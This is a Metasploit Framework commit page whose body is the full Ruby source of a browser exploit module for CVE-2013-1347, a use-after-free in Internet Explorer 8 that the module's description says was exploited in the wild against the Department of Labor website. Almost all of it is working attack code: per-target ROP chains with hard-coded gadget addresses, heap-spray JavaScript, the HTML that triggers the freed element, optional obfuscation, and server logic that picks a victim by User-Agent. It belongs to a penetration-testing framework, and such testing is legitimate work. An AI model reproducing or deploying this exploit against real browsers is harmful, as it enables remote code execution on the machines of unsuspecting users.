Land #1797, IE8 DoL exploit module from @wchen-r7
Exploit for an in-the-wild unpatched vuln in IE8. @jvazquez-r7 already reviewed functionalityunstable
Tod Beardsley
commit
e9841b216c
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##
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#
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::RopDb
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::IE,
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:ua_minver => "8.0",
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:ua_maxver => "8.0",
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:javascript => true,
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:os_name => OperatingSystems::WINDOWS,
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:rank => GoodRanking
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})
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def initialize(info={})
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super(update_info(info,
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'Name' => "Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability found in Microsoft Internet Explorer. A
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use-after-free condition occurs when a CGenericElement object is freed, but a
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reference is kept on the Document and used again during rendering, an invalid
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memory that's controllable is used, and allows arbitrary code execution under the
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context of the user.
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Please note: This vulnerability has been exploited in the wild on 2013 May, in
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the compromise of the Department of Labor (DoL) Website.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown',
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'EMH',
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'juan vazquez', #RCA
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'sinn3r' #RCA
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],
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'References' =>
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[
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[ 'CVE', '2013-1347' ],
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[ 'OSVDB', '92993' ],
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[ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/05/03/microsoft-releases-security-advisory-2847140.aspx']
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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'Space' => 1024,
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'DisableNops' => true
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt } ],
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[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
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[ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt } ],
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[ 'IE 8 on Windows 7', { 'Rop' => :jre } ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Dec 27 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
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ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
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ie_name = "IE #{ie}"
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case nt
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when '5.1'
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os_name = 'Windows XP SP3'
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when '5.2'
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os_name = 'Windows Server 2003'
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when '6.0'
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os_name = 'Windows Vista'
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when '6.1'
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os_name = 'Windows 7'
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else
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# OS not supported
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return nil
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end
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targets.each do |t|
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if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
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print_status("Target selected as: #{t.name}")
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return t
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end
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end
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return nil
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end
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def ie8_smil(my_target, p)
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case my_target['Rop']
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when :msvcrt
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case my_target.name
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when 'IE 8 on Windows XP SP3'
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align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
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xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
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when 'IE 8 on Windows Server 2003'
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align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
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xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
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end
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else
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align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
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xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
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end
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padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
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js_payload = Rex::Text.to_unescape(p)
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js = %Q|
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unicorn = unescape("ABCD");
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unicorn2 = unescape("EEEE");
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for (i=0; i < 2; i++) {
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unicorn += unescape("ABCD");
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}unicorn += unescape("AB");
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unicorn += unescape("#{js_payload}");
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animvalues = unescape("#{align_esp}");
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for (i=0; i < 0x70/4; i++) {
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if (i == 0x70/4-1) {
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animvalues += unescape("#{xchg_esp}");
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}
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else {
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animvalues += unescape("#{align_esp}");
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}
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}
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animvalues += unicorn;
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for(i = 0; i < 13; i++) {
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animvalues += ";red";
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}
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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return js
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end
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def junk(n=4)
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return rand_text_alpha(n).unpack("V")[0].to_i
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end
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def nop
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return make_nops(4).unpack("V")[0].to_i
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end
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def get_payload(t, cli)
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code = payload.encoded
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# No rop. Just return the payload.
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return code if t['Rop'].nil?
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case t['Rop']
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when :msvcrt
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case t.name
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when 'IE 8 on Windows XP SP3'
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rop_gadgets =
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[
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0x77c1e844, # POP EBP # RETN [msvcrt.dll]
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0x77c1e844, # skip 4 bytes [msvcrt.dll]
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0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
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0xffffffff,
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0x77c127e5, # INC EBX # RETN [msvcrt.dll]
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0x77c127e5, # INC EBX # RETN [msvcrt.dll]
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0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
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0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
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0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
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0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
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0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
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0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
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0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
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0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
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0x77c3048a, # POP EDI # RETN [msvcrt.dll]
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0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
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0x77c46efb, # POP ESI # RETN [msvcrt.dll]
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0x77c2aacc, # JMP [EAX] [msvcrt.dll]
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0x77c3b860, # POP EAX # RETN [msvcrt.dll]
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0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
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0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
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0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
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].pack("V*")
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when 'IE 8 on Windows Server 2003'
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rop_gadgets =
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[
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0x77bb2563, # POP EAX # RETN
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0x77ba1114, # <- *&VirtualProtect()
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0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
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junk,
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0x77bb0c86, # XCHG EAX,ESI # RETN
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0x77bc9801, # POP EBP # RETN
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0x77be2265, # ptr to 'push esp # ret'
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0x77bb2563, # POP EAX # RETN
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0x03C0990F,
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0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx)
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0x77bb48d3, # POP EBX, RET
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0x77bf21e0, # .data
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0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
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0x77bbfc02, # POP ECX # RETN
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0x77bef001, # W pointer (lpOldProtect) (-> ecx)
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0x77bd8c04, # POP EDI # RETN
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0x77bd8c05, # ROP NOP (-> edi)
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0x77bb2563, # POP EAX # RETN
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0x03c0984f,
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0x77bdd441, # SUB EAX, 03c0940f
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0x77bb8285, # XCHG EAX,EDX # RETN
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0x77bb2563, # POP EAX # RETN
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nop,
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0x77be6591 # PUSHAD # ADD AL,0EF # RETN
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].pack("V*")
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end
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else
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rop_gadgets =
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[
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0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
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0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
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0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
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0x7c3415a2, # JMP [EAX] [msvcr71.dll]
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0xffffffff,
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0x7c376402, # skip 4 bytes [msvcr71.dll]
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0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
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0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
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0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
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0x7c344f87, # POP EDX # RETN [msvcr71.dll]
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0xffffffc0, # Value to negate, will become 0x00000040
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0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
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0x7c34d201, # POP ECX # RETN [msvcr71.dll]
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0x7c38b001, # &Writable location [msvcr71.dll]
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0x7c347f97, # POP EAX # RETN [msvcr71.dll]
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0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
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0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
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0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
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# rop chain generated with mona.py
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].pack("V*")
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end
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rop_payload = rop_gadgets
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case t['Rop']
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when :msvcrt
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rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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else
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rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
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end
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rop_payload << code
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rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
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return rop_payload
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end
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def load_exploit_html(my_target, cli)
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p = get_payload(my_target, cli)
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js = ie8_smil(my_target, p)
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html = %Q|
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<!doctype html>
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<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
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<head>
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<meta>
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<?IMPORT namespace="t" implementation="#default#time2">
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</meta>
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<script>
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function helloWorld()
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{
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#{js}
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f0 = document.createElement('span');
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document.body.appendChild(f0);
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f1 = document.createElement('span');
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document.body.appendChild(f1);
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f2 = document.createElement('span');
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document.body.appendChild(f2);
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document.body.contentEditable="true";
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f2.appendChild(document.createElement('datalist'));
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f1.appendChild(document.createElement('span'));
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f1.appendChild(document.createElement('table'));
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try{
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f0.offsetParent=null;
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}catch(e) {
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}f2.innerHTML="";
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f0.appendChild(document.createElement('hr'));
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f1.innerHTML="";
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CollectGarbage();
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try {
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a = document.getElementById('myanim');
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a.values = animvalues;
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}
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catch(e) {}
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}
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</script>
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</head>
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<body onload="eval(helloWorld());">
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<t:ANIMATECOLOR id="myanim"/>
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</body>
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</html>
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return html
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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uri = request.uri
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print_status("Requesting: #{uri}")
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my_target = get_target(agent)
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# Avoid the attack if no suitable target found
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if my_target.nil?
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print_error("Browser not supported, sending 404: #{agent}")
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send_not_found(cli)
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return
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end
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html = load_exploit_html(my_target, cli)
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html = html.gsub(/^\t\t/, '')
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print_status("Sending HTML...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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